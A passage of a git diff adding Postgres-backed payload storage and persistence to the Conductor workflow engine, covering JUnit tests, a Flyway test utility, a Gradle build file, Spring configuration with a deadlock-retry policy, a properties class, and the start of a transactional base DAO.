    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.controller; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.core.io.InputStreamResource; +import org.springframework.http.ResponseEntity; + +import com.netflix.conductor.postgres.storage.PostgresPayloadStorage; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class ExternalPostgresPayloadResourceTest { + + private PostgresPayloadStorage mockPayloadStorage; + private ExternalPostgresPayloadResource postgresResource; + + @Before + public void before() { + this.mockPayloadStorage = mock(PostgresPayloadStorage.class); + this.postgresResource = new ExternalPostgresPayloadResource(this.mockPayloadStorage); + } + + @Test + public void testGetExternalStorageData() throws IOException { + String data = "Dummy data"; + InputStream inputStreamData = + new ByteArrayInputStream(data.getBytes(StandardCharsets.UTF_8)); + when(mockPayloadStorage.download(anyString())).thenReturn(inputStreamData); + ResponseEntity response = + postgresResource.getExternalStorageData("dummyKey.json"); + assertNotNull(response.getBody()); + assertEquals( + data, + new String( + response.getBody().getInputStream().readAllBytes(), + StandardCharsets.UTF_8)); + } +} diff --git a/postgres-external-storage/src/test/java/com/netflix/conductor/postgres/storage/PostgresPayloadStorageTest.java b/postgres-external-storage/src/test/java/com/netflix/conductor/postgres/storage/PostgresPayloadStorageTest.java new file mode 100644 index 0000000..d16132e --- /dev/null +++ b/postgres-external-storage/src/test/java/com/netflix/conductor/postgres/storage/PostgresPayloadStorageTest.java @@ -0,0 +1,300 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.storage; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Executor; +import java.util.concurrent.Executors; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.stream.IntStream; + +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.testcontainers.containers.PostgreSQLContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; +import com.netflix.conductor.core.utils.IDGenerator; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotEquals; + +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class PostgresPayloadStorageTest { + + private PostgresPayloadTestUtil testPostgres; + private PostgresPayloadStorage executionPostgres; + + public PostgreSQLContainer postgreSQLContainer; + + private final String inputString = + "Lorem Ipsum is simply dummy text of the printing and typesetting industry." + + " Lorem Ipsum has been the industry's standard dummy text ever since the 1500s."; + private final String errorMessage = "{\"Error\": \"Data does not exist.\"}"; + private final InputStream inputData; + private final String key = "dummyKey.json"; + + public PostgresPayloadStorageTest() { + inputData = new ByteArrayInputStream(inputString.getBytes(StandardCharsets.UTF_8)); + } + + @Before + public void setup() { + postgreSQLContainer = + new PostgreSQLContainer<>(DockerImageName.parse("postgres")) + .withDatabaseName("conductor"); + postgreSQLContainer.start(); + testPostgres = new PostgresPayloadTestUtil(postgreSQLContainer); + executionPostgres = + new PostgresPayloadStorage( + testPostgres.getTestProperties(), + testPostgres.getDataSource(), + new IDGenerator(), + errorMessage); + } + + @Test + public void testWriteInputStreamToDb() throws IOException, SQLException { + executionPostgres.upload(key, inputData, inputData.available()); + + PreparedStatement stmt = + testPostgres + .getDataSource() + .getConnection() + .prepareStatement( + "SELECT data FROM external.external_payload WHERE id = 'dummyKey.json'"); + ResultSet rs = stmt.executeQuery(); + rs.next(); + assertEquals( + inputString, + new String(rs.getBinaryStream(1).readAllBytes(), StandardCharsets.UTF_8)); + } + + @Test + public void testReadInputStreamFromDb() throws IOException, SQLException { + insertData(); + assertEquals( + inputString, + new String(executionPostgres.download(key).readAllBytes(), StandardCharsets.UTF_8)); + } + + private void insertData() throws SQLException, IOException { + PreparedStatement stmt = + testPostgres + .getDataSource() + .getConnection() + .prepareStatement("INSERT INTO external.external_payload VALUES (?, ?)"); + stmt.setString(1, key); + stmt.setBinaryStream(2, inputData, inputData.available()); + stmt.executeUpdate(); + } + + @Test(timeout = 60 * 1000) + public void testMultithreadDownload() + throws ExecutionException, InterruptedException, SQLException, IOException { + AtomicInteger threadCounter = new AtomicInteger(0); + insertData(); + int numberOfThread = 12; + int taskInThread = 100; + ArrayList> completableFutures = new ArrayList<>(); + Executor executor = Executors.newFixedThreadPool(numberOfThread); + IntStream.range(0, numberOfThread * taskInThread) + .forEach( + i -> + createFutureForDownloadOperation( + threadCounter, completableFutures, executor)); + for (CompletableFuture completableFuture : completableFutures) { + completableFuture.get(); + } + assertCount(1); + assertEquals(numberOfThread * taskInThread, threadCounter.get()); + } + + private void createFutureForDownloadOperation( + AtomicInteger threadCounter, + ArrayList> completableFutures, + Executor executor) { + CompletableFuture objectCompletableFuture = + CompletableFuture.supplyAsync(() -> downloadData(threadCounter), executor); + completableFutures.add(objectCompletableFuture); + } + + private Void downloadData(AtomicInteger threadCounter) { + try { + assertEquals( + inputString, + new String( + executionPostgres.download(key).readAllBytes(), + StandardCharsets.UTF_8)); + threadCounter.getAndIncrement(); + return null; + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + @Test + public void testReadNonExistentInputStreamFromDb() throws IOException, SQLException { + PreparedStatement stmt = + testPostgres + .getDataSource() + .getConnection() + .prepareStatement("INSERT INTO external.external_payload VALUES (?, ?)"); + stmt.setString(1, key); + stmt.setBinaryStream(2, inputData, inputData.available()); + stmt.executeUpdate(); + + assertEquals( + errorMessage, + new String( + executionPostgres.download("non_existent_key.json").readAllBytes(), + StandardCharsets.UTF_8)); + } + + @Test + public void testMaxRowInTable() throws IOException, SQLException { + executionPostgres.upload(key, inputData, inputData.available()); + executionPostgres.upload("dummyKey2.json", inputData, inputData.available()); + executionPostgres.upload("dummyKey3.json", inputData, inputData.available()); + executionPostgres.upload("dummyKey4.json", inputData, inputData.available()); + executionPostgres.upload("dummyKey5.json", inputData, inputData.available()); + executionPostgres.upload("dummyKey6.json", inputData, inputData.available()); + executionPostgres.upload("dummyKey7.json", inputData, inputData.available()); + + assertCount(5); + } + + @Test(timeout = 60 * 1000) + public void testMultithreadInsert() + throws SQLException, ExecutionException, InterruptedException { + AtomicInteger threadCounter = new AtomicInteger(0); + int numberOfThread = 12; + int taskInThread = 100; + ArrayList> completableFutures = new ArrayList<>(); + Executor executor = Executors.newFixedThreadPool(numberOfThread); + IntStream.range(0, numberOfThread * taskInThread) + .forEach( + i -> + createFutureForUploadOperation( + threadCounter, completableFutures, executor)); + for (CompletableFuture completableFuture : completableFutures) { + completableFuture.get(); + } + assertCount(1); + assertEquals(numberOfThread * taskInThread, threadCounter.get()); + } + + private void createFutureForUploadOperation( + AtomicInteger threadCounter, + ArrayList> completableFutures, + Executor executor) { + CompletableFuture objectCompletableFuture = + CompletableFuture.supplyAsync(() -> uploadData(threadCounter), executor); + completableFutures.add(objectCompletableFuture); + } + + private Void uploadData(AtomicInteger threadCounter) { + try { + uploadData(); + threadCounter.getAndIncrement(); + return null; + } catch (IOException | SQLException e) { + throw new RuntimeException(e); + } + } + + @Test + public void testHashEnsuringNoDuplicates() + throws IOException, SQLException, InterruptedException { + final String createdOn = uploadData(); + Thread.sleep(500); + final String createdOnAfterUpdate = uploadData(); + assertCount(1); + assertNotEquals(createdOnAfterUpdate, createdOn); + } + + private String uploadData() throws SQLException, IOException { + final String location = getKey(inputString); + ByteArrayInputStream inputStream = + new ByteArrayInputStream(inputString.getBytes(StandardCharsets.UTF_8)); + executionPostgres.upload(location, inputStream, inputStream.available()); + return getCreatedOn(location); + } + + @Test + public void testDistinctHashedKey() { + final String location = getKey(inputString); + final String location2 = getKey(inputString); + final String location3 = getKey(inputString + "A"); + + assertNotEquals(location3, location); + assertEquals(location2, location); + } + + private String getKey(String input) { + return executionPostgres + .getLocation( + ExternalPayloadStorage.Operation.READ, + ExternalPayloadStorage.PayloadType.TASK_INPUT, + "", + input.getBytes(StandardCharsets.UTF_8)) + .getUri(); + } + + private void assertCount(int expected) throws SQLException { + try (PreparedStatement stmt = + testPostgres + .getDataSource() + .getConnection() + .prepareStatement( + "SELECT count(id) FROM external.external_payload"); + ResultSet rs = stmt.executeQuery()) { + rs.next(); + assertEquals(expected, rs.getInt(1)); + } + } + + private String getCreatedOn(String key) throws SQLException { + try (Connection conn = testPostgres.getDataSource().getConnection(); + PreparedStatement stmt = + conn.prepareStatement( + "SELECT created_on FROM external.external_payload WHERE id = ?")) { + stmt.setString(1, key); + try (ResultSet rs = stmt.executeQuery()) { + rs.next(); + return rs.getString(1); + } + } + } + + @After + public void teardown() throws SQLException { + testPostgres.getDataSource().getConnection().close(); + } +} diff --git a/postgres-external-storage/src/test/java/com/netflix/conductor/postgres/storage/PostgresPayloadTestUtil.java b/postgres-external-storage/src/test/java/com/netflix/conductor/postgres/storage/PostgresPayloadTestUtil.java new file mode 100644 index 0000000..ad7e908 --- /dev/null +++ b/postgres-external-storage/src/test/java/com/netflix/conductor/postgres/storage/PostgresPayloadTestUtil.java @@ -0,0 +1,74 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.storage; + +import java.nio.file.Paths; +import java.util.Map; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.flywaydb.core.api.configuration.FluentConfiguration; +import org.springframework.boot.jdbc.DataSourceBuilder; +import org.testcontainers.containers.PostgreSQLContainer; + +import com.netflix.conductor.postgres.config.PostgresPayloadProperties; + +public class PostgresPayloadTestUtil { + + private final DataSource dataSource; + private final PostgresPayloadProperties properties = new PostgresPayloadProperties(); + + public PostgresPayloadTestUtil(PostgreSQLContainer postgreSQLContainer) { + + this.dataSource = + DataSourceBuilder.create() + .url(postgreSQLContainer.getJdbcUrl()) + .username(postgreSQLContainer.getUsername()) + .password(postgreSQLContainer.getPassword()) + .build(); + flywayMigrate(dataSource); + } + + private void flywayMigrate(DataSource dataSource) { + FluentConfiguration fluentConfiguration = + Flyway.configure() + .schemas("external") + .locations(Paths.get("db/migration_external_postgres").toString()) + .dataSource(dataSource) + .placeholderReplacement(true) + .placeholders( + Map.of( + "tableName", + "external.external_payload", + "maxDataRows", + "5", + "maxDataDays", + "'1'", + "maxDataMonths", + "'1'", + "maxDataYears", + "'1'")); + + Flyway flyway = fluentConfiguration.load(); + flyway.migrate(); + } + + public DataSource getDataSource() { + return dataSource; + } + + public PostgresPayloadProperties getTestProperties() { + return properties; + } +} diff --git a/postgres-persistence/build.gradle b/postgres-persistence/build.gradle new file mode 100644 index 0000000..bee2002 --- /dev/null +++ b/postgres-persistence/build.gradle @@ -0,0 +1,39 @@ +dependencies { + + implementation project(':conductor-common-persistence') + implementation project(':conductor-common') + implementation project(':conductor-core') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.retry:spring-retry' + + implementation "com.google.guava:guava:${revGuava}" + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + + implementation "org.apache.commons:commons-lang3" + implementation "org.postgresql:postgresql:${revPostgres}" + implementation "org.springframework.boot:spring-boot-starter-jdbc" + implementation "org.flywaydb:flyway-core:${revFlyway}" + implementation "org.flywaydb:flyway-database-postgresql:${revFlyway}" + + testImplementation "org.apache.groovy:groovy-all:${revGroovy}" + testImplementation project(':conductor-server') + testImplementation project(':conductor-grpc-client') + testImplementation project(':conductor-es7-persistence') + + testImplementation "org.testcontainers:postgresql:${revTestContainer}" + testImplementation "org.testcontainers:elasticsearch:${revTestContainer}" + + testImplementation project(':conductor-test-util').sourceSets.test.output + testImplementation project(':conductor-common-persistence').sourceSets.test.output + testImplementation "redis.clients:jedis:${revJedis}" + testImplementation "org.awaitility:awaitility:${revAwaitility}" + +} + +test { + //the SQL unit tests must run within the same JVM to share the same embedded DB + maxParallelForks = 1 +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/config/PostgresConfiguration.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/config/PostgresConfiguration.java new file mode 100644 index 0000000..a8e1392 --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/config/PostgresConfiguration.java @@ -0,0 +1,211 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.config; + +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.Map; +import java.util.Optional; + +import javax.sql.DataSource; + +import org.conductoross.conductor.postgres.dao.PostgresFileMetadataDAO; +import org.conductoross.conductor.postgres.dao.PostgresSkillMetadataDAO; +import org.conductoross.conductor.postgres.dao.PostgresSkillPackageDAO; +import org.flywaydb.core.Flyway; +import org.flywaydb.core.api.configuration.FluentConfiguration; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.*; +import org.springframework.retry.RetryContext; +import org.springframework.retry.backoff.NoBackOffPolicy; +import org.springframework.retry.policy.SimpleRetryPolicy; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.postgres.dao.*; + +import com.fasterxml.jackson.databind.ObjectMapper; +import jakarta.annotation.*; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(PostgresProperties.class) +@ConditionalOnProperty(name = "conductor.db.type", havingValue = "postgres") +// Import the DataSourceAutoConfiguration when postgres database is selected. +// By default, the datasource configuration is excluded in the main module. +@Import(DataSourceAutoConfiguration.class) +public class PostgresConfiguration { + + DataSource dataSource; + + private final PostgresProperties properties; + + public PostgresConfiguration(DataSource dataSource, PostgresProperties properties) { + this.dataSource = dataSource; + this.properties = properties; + } + + @Bean(initMethod = "migrate") + @PostConstruct + public Flyway flywayForPrimaryDb() { + FluentConfiguration config = Flyway.configure(); + + var locations = new ArrayList(); + locations.add("classpath:db/migration_postgres"); + + if (properties.getExperimentalQueueNotify()) { + locations.add("classpath:db/migration_postgres_notify"); + } + + if (properties.isApplyDataMigrations()) { + locations.add("classpath:db/migration_postgres_data"); + } + + config.locations(locations.toArray(new String[0])); + + return config.configuration(Map.of("flyway.postgresql.transactional.lock", "false")) + .schemas(properties.getSchema()) + .dataSource(dataSource) + .outOfOrder(true) + .baselineOnMigrate(true) + .load(); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + public PostgresMetadataDAO postgresMetadataDAO( + @Qualifier("postgresRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + PostgresProperties properties) { + return new PostgresMetadataDAO(retryTemplate, objectMapper, dataSource, properties); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + public PostgresExecutionDAO postgresExecutionDAO( + @Qualifier("postgresRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + PostgresQueueDAO queueDAO) { + return new PostgresExecutionDAO(retryTemplate, objectMapper, dataSource, queueDAO); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + public PostgresPollDataDAO postgresPollDataDAO( + @Qualifier("postgresRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + PostgresProperties properties) { + return new PostgresPollDataDAO(retryTemplate, objectMapper, dataSource, properties); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + public PostgresQueueDAO postgresQueueDAO( + @Qualifier("postgresRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + PostgresProperties properties) { + return new PostgresQueueDAO(retryTemplate, objectMapper, dataSource, properties); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + @ConditionalOnProperty(name = "conductor.indexing.type", havingValue = "postgres") + public PostgresIndexDAO postgresIndexDAO( + @Qualifier("postgresRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + PostgresProperties properties) { + return new PostgresIndexDAO(retryTemplate, objectMapper, dataSource, properties); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + @ConditionalOnProperty( + name = "conductor.workflow-execution-lock.type", + havingValue = "postgres") + public PostgresLockDAO postgresLockDAO( + @Qualifier("postgresRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new PostgresLockDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + @ConditionalOnProperty(name = "conductor.file-storage.enabled", havingValue = "true") + public PostgresFileMetadataDAO postgresFileMetadataDAO( + @Qualifier("postgresRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new PostgresFileMetadataDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + @ConditionalOnProperty(name = "conductor.integrations.ai.enabled", havingValue = "true") + public PostgresSkillMetadataDAO postgresSkillMetadataDAO( + @Qualifier("postgresRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new PostgresSkillMetadataDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn({"flywayForPrimaryDb"}) + @ConditionalOnProperty(name = "conductor.integrations.ai.enabled", havingValue = "true") + public PostgresSkillPackageDAO postgresSkillPackageDAO( + @Qualifier("postgresRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper) { + return new PostgresSkillPackageDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + public RetryTemplate postgresRetryTemplate(PostgresProperties properties) { + SimpleRetryPolicy retryPolicy = new CustomRetryPolicy(); + retryPolicy.setMaxAttempts(3); + + RetryTemplate retryTemplate = new RetryTemplate(); + retryTemplate.setRetryPolicy(retryPolicy); + retryTemplate.setBackOffPolicy(new NoBackOffPolicy()); + return retryTemplate; + } + + public static class CustomRetryPolicy extends SimpleRetryPolicy { + + private static final String ER_LOCK_DEADLOCK = "40P01"; + private static final String ER_SERIALIZATION_FAILURE = "40001"; + + @Override + public boolean canRetry(final RetryContext context) { + final Optional lastThrowable = + Optional.ofNullable(context.getLastThrowable()); + return lastThrowable + .map(throwable -> super.canRetry(context) && isDeadLockError(throwable)) + .orElseGet(() -> super.canRetry(context)); + } + + private boolean isDeadLockError(Throwable throwable) { + SQLException sqlException = findCauseSQLException(throwable); + if (sqlException == null) { + return false; + } + return ER_LOCK_DEADLOCK.equals(sqlException.getSQLState()) + || ER_SERIALIZATION_FAILURE.equals(sqlException.getSQLState()); + } + + private SQLException findCauseSQLException(Throwable throwable) { + Throwable causeException = throwable; + while (null != causeException && !(causeException instanceof SQLException)) { + causeException = causeException.getCause(); + } + return (SQLException) causeException; + } + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/config/PostgresProperties.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/config/PostgresProperties.java new file mode 100644 index 0000000..9c650e6 --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/config/PostgresProperties.java @@ -0,0 +1,160 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.config; + +import java.time.Duration; +import java.time.temporal.ChronoUnit; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DurationUnit; + +@ConfigurationProperties("conductor.postgres") +public class PostgresProperties { + + /** The time in seconds after which the in-memory task definitions cache will be refreshed */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration taskDefCacheRefreshInterval = Duration.ofSeconds(60); + + private Integer deadlockRetryMax = 3; + + @DurationUnit(ChronoUnit.MILLIS) + private Duration pollDataFlushInterval = Duration.ofMillis(0); + + @DurationUnit(ChronoUnit.MILLIS) + private Duration pollDataCacheValidityPeriod = Duration.ofMillis(0); + + private boolean experimentalQueueNotify = false; + + private Integer experimentalQueueNotifyStalePeriod = 5000; + + private boolean onlyIndexOnStatusChange = false; + + /** The boolean indicating whether data migrations should be executed */ + private boolean applyDataMigrations = true; + + public String schema = "public"; + + public boolean allowFullTextQueries = true; + + public boolean allowJsonQueries = true; + + /** The maximum number of threads allowed in the async pool */ + private int asyncMaxPoolSize = 12; + + /** The size of the queue used for holding async indexing tasks */ + private int asyncWorkerQueueSize = 100; + + public boolean getExperimentalQueueNotify() { + return experimentalQueueNotify; + } + + public void setExperimentalQueueNotify(boolean experimentalQueueNotify) { + this.experimentalQueueNotify = experimentalQueueNotify; + } + + public Integer getExperimentalQueueNotifyStalePeriod() { + return experimentalQueueNotifyStalePeriod; + } + + public void setExperimentalQueueNotifyStalePeriod(Integer experimentalQueueNotifyStalePeriod) { + this.experimentalQueueNotifyStalePeriod = experimentalQueueNotifyStalePeriod; + } + + public Duration getTaskDefCacheRefreshInterval() { + return taskDefCacheRefreshInterval; + } + + public void setTaskDefCacheRefreshInterval(Duration taskDefCacheRefreshInterval) { + this.taskDefCacheRefreshInterval = taskDefCacheRefreshInterval; + } + + public boolean getOnlyIndexOnStatusChange() { + return onlyIndexOnStatusChange; + } + + public void setOnlyIndexOnStatusChange(boolean onlyIndexOnStatusChange) { + this.onlyIndexOnStatusChange = onlyIndexOnStatusChange; + } + + public boolean isApplyDataMigrations() { + return applyDataMigrations; + } + + public void setApplyDataMigrations(boolean applyDataMigrations) { + this.applyDataMigrations = applyDataMigrations; + } + + public Integer getDeadlockRetryMax() { + return deadlockRetryMax; + } + + public void setDeadlockRetryMax(Integer deadlockRetryMax) { + this.deadlockRetryMax = deadlockRetryMax; + } + + public String getSchema() { + return schema; + } + + public void setSchema(String schema) { + this.schema = schema; + } + + public boolean getAllowFullTextQueries() { + return allowFullTextQueries; + } + + public void setAllowFullTextQueries(boolean allowFullTextQueries) { + this.allowFullTextQueries = allowFullTextQueries; + } + + public boolean getAllowJsonQueries() { + return allowJsonQueries; + } + + public void setAllowJsonQueries(boolean allowJsonQueries) { + this.allowJsonQueries = allowJsonQueries; + } + + public int getAsyncWorkerQueueSize() { + return asyncWorkerQueueSize; + } + + public void setAsyncWorkerQueueSize(int asyncWorkerQueueSize) { + this.asyncWorkerQueueSize = asyncWorkerQueueSize; + } + + public int getAsyncMaxPoolSize() { + return asyncMaxPoolSize; + } + + public void setAsyncMaxPoolSize(int asyncMaxPoolSize) { + this.asyncMaxPoolSize = asyncMaxPoolSize; + } + + public Duration getPollDataFlushInterval() { + return pollDataFlushInterval; + } + + public void setPollDataFlushInterval(Duration interval) { + this.pollDataFlushInterval = interval; + } + + public Duration getPollDataCacheValidityPeriod() { + return pollDataCacheValidityPeriod; + } + + public void setPollDataCacheValidityPeriod(Duration period) { + this.pollDataCacheValidityPeriod = period; + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresBaseDAO.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresBaseDAO.java new file mode 100644 index 0000000..a0351ca --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresBaseDAO.java @@ -0,0 +1,256 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.io.IOException; +import java.sql.Connection; +import java.sql.SQLException; +import java.time.Duration; +import java.time.Instant; +import java.util.Arrays; +import java.util.List; +import java.util.function.Consumer; + +import javax.sql.DataSource; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.postgres.util.*; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.ImmutableList; + +public abstract class PostgresBaseDAO { + + private static final List EXCLUDED_STACKTRACE_CLASS = + ImmutableList.of(PostgresBaseDAO.class.getName(), Thread.class.getName()); + + protected final Logger logger = LoggerFactory.getLogger(getClass()); + protected final ObjectMapper objectMapper; + protected final DataSource dataSource; + + private final RetryTemplate retryTemplate; + + protected PostgresBaseDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + this.retryTemplate = retryTemplate; + this.objectMapper = objectMapper; + this.dataSource = dataSource; + } + + protected final LazyToString getCallingMethod() { + return new LazyToString( + () -> + Arrays.stream(Thread.currentThread().getStackTrace()) + .filter( + ste -> + !EXCLUDED_STACKTRACE_CLASS.contains( + ste.getClassName())) + .findFirst() + .map(StackTraceElement::getMethodName) + .orElseThrow(() -> new NullPointerException("Cannot find Caller"))); + } + + protected String toJson(Object value) { + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + protected T readValue(String json, Class tClass) { + try { + return objectMapper.readValue(json, tClass); + } catch (IOException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + protected T readValue(String json, TypeReference typeReference) { + try { + return objectMapper.readValue(json, typeReference); + } catch (IOException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Initialize a new transactional {@link Connection} from {@link #dataSource} and pass it to + * {@literal function}. + * + *

    Successful executions of {@literal function} will result in a commit and return of {@link + * TransactionalFunction#apply(Connection)}. + * + *

    If any {@link Throwable} thrown from {@code TransactionalFunction#apply(Connection)} will + * result in a rollback of the transaction and will be wrapped in an {@link + * NonTransientException} if it is not already one. + * + *

    Generally this is used to wrap multiple {@link #execute(Connection, String, + * ExecuteFunction)} or {@link #query(Connection, String, QueryFunction)} invocations that + * produce some expected return value. + * + * @param function The function to apply with a new transactional {@link Connection} + * @param The return type. + * @return The result of {@code TransactionalFunction#apply(Connection)} + * @throws NonTransientException If any errors occur. + */ + private R getWithTransaction(final TransactionalFunction function) { + final Instant start = Instant.now(); + LazyToString callingMethod = getCallingMethod(); + logger.trace("{} : starting transaction", callingMethod); + + try (Connection tx = dataSource.getConnection()) { + boolean previousAutoCommitMode = tx.getAutoCommit(); + tx.setAutoCommit(false); + try { + R result = function.apply(tx); + tx.commit(); + return result; + } catch (Throwable th) { + tx.rollback(); + if (th instanceof NonTransientException) { + throw th; + } + throw new NonTransientException(th.getMessage(), th); + } finally { + tx.setAutoCommit(previousAutoCommitMode); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } finally { + logger.trace( + "{} : took {}ms", + callingMethod, + Duration.between(start, Instant.now()).toMillis()); + } + } + + R getWithRetriedTransactions(final TransactionalFunction function) { + try { + return retryTemplate.execute(context -> getWithTransaction(function)); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + protected R getWithTransactionWithOutErrorPropagation(TransactionalFunction function) { + Instant start = Instant.now(); + LazyToString callingMethod = getCallingMethod(); + logger.trace("{} : starting transaction", callingMethod); + + try (Connection tx = dataSource.getConnection()) { + boolean previousAutoCommitMode = tx.getAutoCommit(); + tx.setAutoCommit(false); + try { + R result = function.apply(tx); + tx.commit(); + return result; + } catch (Throwable th) { + tx.rollback(); + logger.info(th.getMessage()); + return null; + } finally { + tx.setAutoCommit(previousAutoCommitMode); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } finally { + logger.trace( + "{} : took {}ms", + callingMethod, + Duration.between(start, Instant.now()).toMillis()); + } + } + + /** + * Wraps {@link 